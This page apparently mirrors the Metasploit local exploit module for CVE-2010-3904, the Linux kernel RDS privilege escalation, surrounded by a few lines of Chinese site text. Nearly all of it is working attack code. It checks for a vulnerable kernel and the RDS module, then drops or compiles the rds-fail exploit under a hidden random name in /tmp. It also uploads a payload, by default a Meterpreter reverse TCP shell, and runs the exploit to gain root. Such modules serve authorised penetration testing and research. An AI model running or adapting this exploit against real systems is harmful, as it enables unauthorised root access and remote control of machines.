扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Reliable Datagram Sockets (RDS) Privilege Escalation', 'Description'=> %q{ This module exploits a vulnerability in the rds_page_copy_user function in net/rds/page.c (RDS) in Linux kernel versions 2.6.30 to 2.6.36-rc8 to execute code as root (CVE-2010-3904). This module has been tested successfully on Fedora 13 (i686) with kernel version 2.6.33.3-85.fc13.i686.PAE and Ubuntu 10.04 (x86_64) with kernel version 2.6.32-21-generic. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Dan Rosenberg', # Discovery and C exploit 'Brendan Coles'# Metasploit ], 'DisclosureDate' => 'Oct 20 2010', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets'=> [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'AKA', 'rds-fail.c' ], [ 'EDB', '15285' ], [ 'CVE', '2010-3904' ], [ 'BID', '44219' ], [ 'URL', 'https://securitytracker.com/id?1024613' ], [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=799c10559d60f159ab2232203f222f18fa3c4a5f' ], [ 'URL', 'http://vulnfactory.org/exploits/rds-fail.c' ], [ 'URL', 'http://web.archive.org/web/20101020044047/http://www.vsecurity.com/resources/advisory/20101019-1/' ], [ 'URL', 'http://web.archive.org/web/20101020044048/http://www.vsecurity.com/download/tools/linux-rds-exploit.c' ], ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', 'WfsDelay'=> 10, 'PrependFork' => true }, 'DefaultTarget'=> 0)) register_options [ OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), ] end def base_dir datastore['WritableDir'].to_s end def modules_disabled? modules_disabled = cmd_exec('cat /proc/sys/kernel/modules_disabled').to_s.strip (modules_disabled.eql?('1') || modules_disabled.eql?('2')) end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data) upload "#{path}.c", data output = cmd_exec "gcc -o #{path} #{path}.c" unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile" end cmd_exec "chmod +x #{path}" register_file_for_cleanup path end def exploit_data(file) path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2010-3904', file fd = ::File.open path, 'rb' data = fd.read fd.stat.size fd.close data end def live_compile? return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') if has_gcc? vprint_good 'gcc is installed' return true end unless datastore['COMPILE'].eql? 'Auto' fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' end end def check version = kernel_release unless Gem::Version.new(version.split('-').first) >= Gem::Version.new('2.6.30') && Gem::Version.new(version.split('-').first) < Gem::Version.new('2.6.37') vprint_error "Linux kernel version #{version} is not vulnerable" return CheckCode::Safe end vprint_good "Linux kernel version #{version} appears to be vulnerable" unless cmd_exec('/sbin/modinfo rds').to_s.include? 'Reliable Datagram Sockets' vprint_error 'RDS kernel module is not available' return CheckCode::Safe end vprint_good 'RDS kernel module is available' if modules_disabled? unless cmd_exec('/sbin/lsmod').to_s.include? 'rds' vprint_error 'RDS kernel module is not loadable' return CheckCode::Safe end end vprint_good 'RDS kernel module is loadable' CheckCode::Appears end def exploit unless check == CheckCode::Appears fail_with Failure::NotVulnerable, 'Target is not vulnerable' end if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload exploit executable executable_name = ".#{rand_text_alphanumeric rand(5..10)}" executable_path = "#{base_dir}/#{executable_name}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile executable_path, exploit_data('rds-fail.c') else vprint_status 'Dropping pre-compiled exploit on system...' arch = kernel_hardware case arch when /amd64|ia64|x86_64|x64/i upload_and_chmodx executable_path, exploit_data('rds-fail.x64') when /x86|i[3456]86/ upload_and_chmodx executable_path, exploit_data('rds-fail.x86') else fail_with Failure::NoTarget, "No pre-compiled binaries are available for system architecture: #{arch}" end end # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status 'Launching exploit...' output = cmd_exec "#{executable_path} #{payload_path}" output.each_line { |line| vprint_status line.chomp } end end |
体验盒子
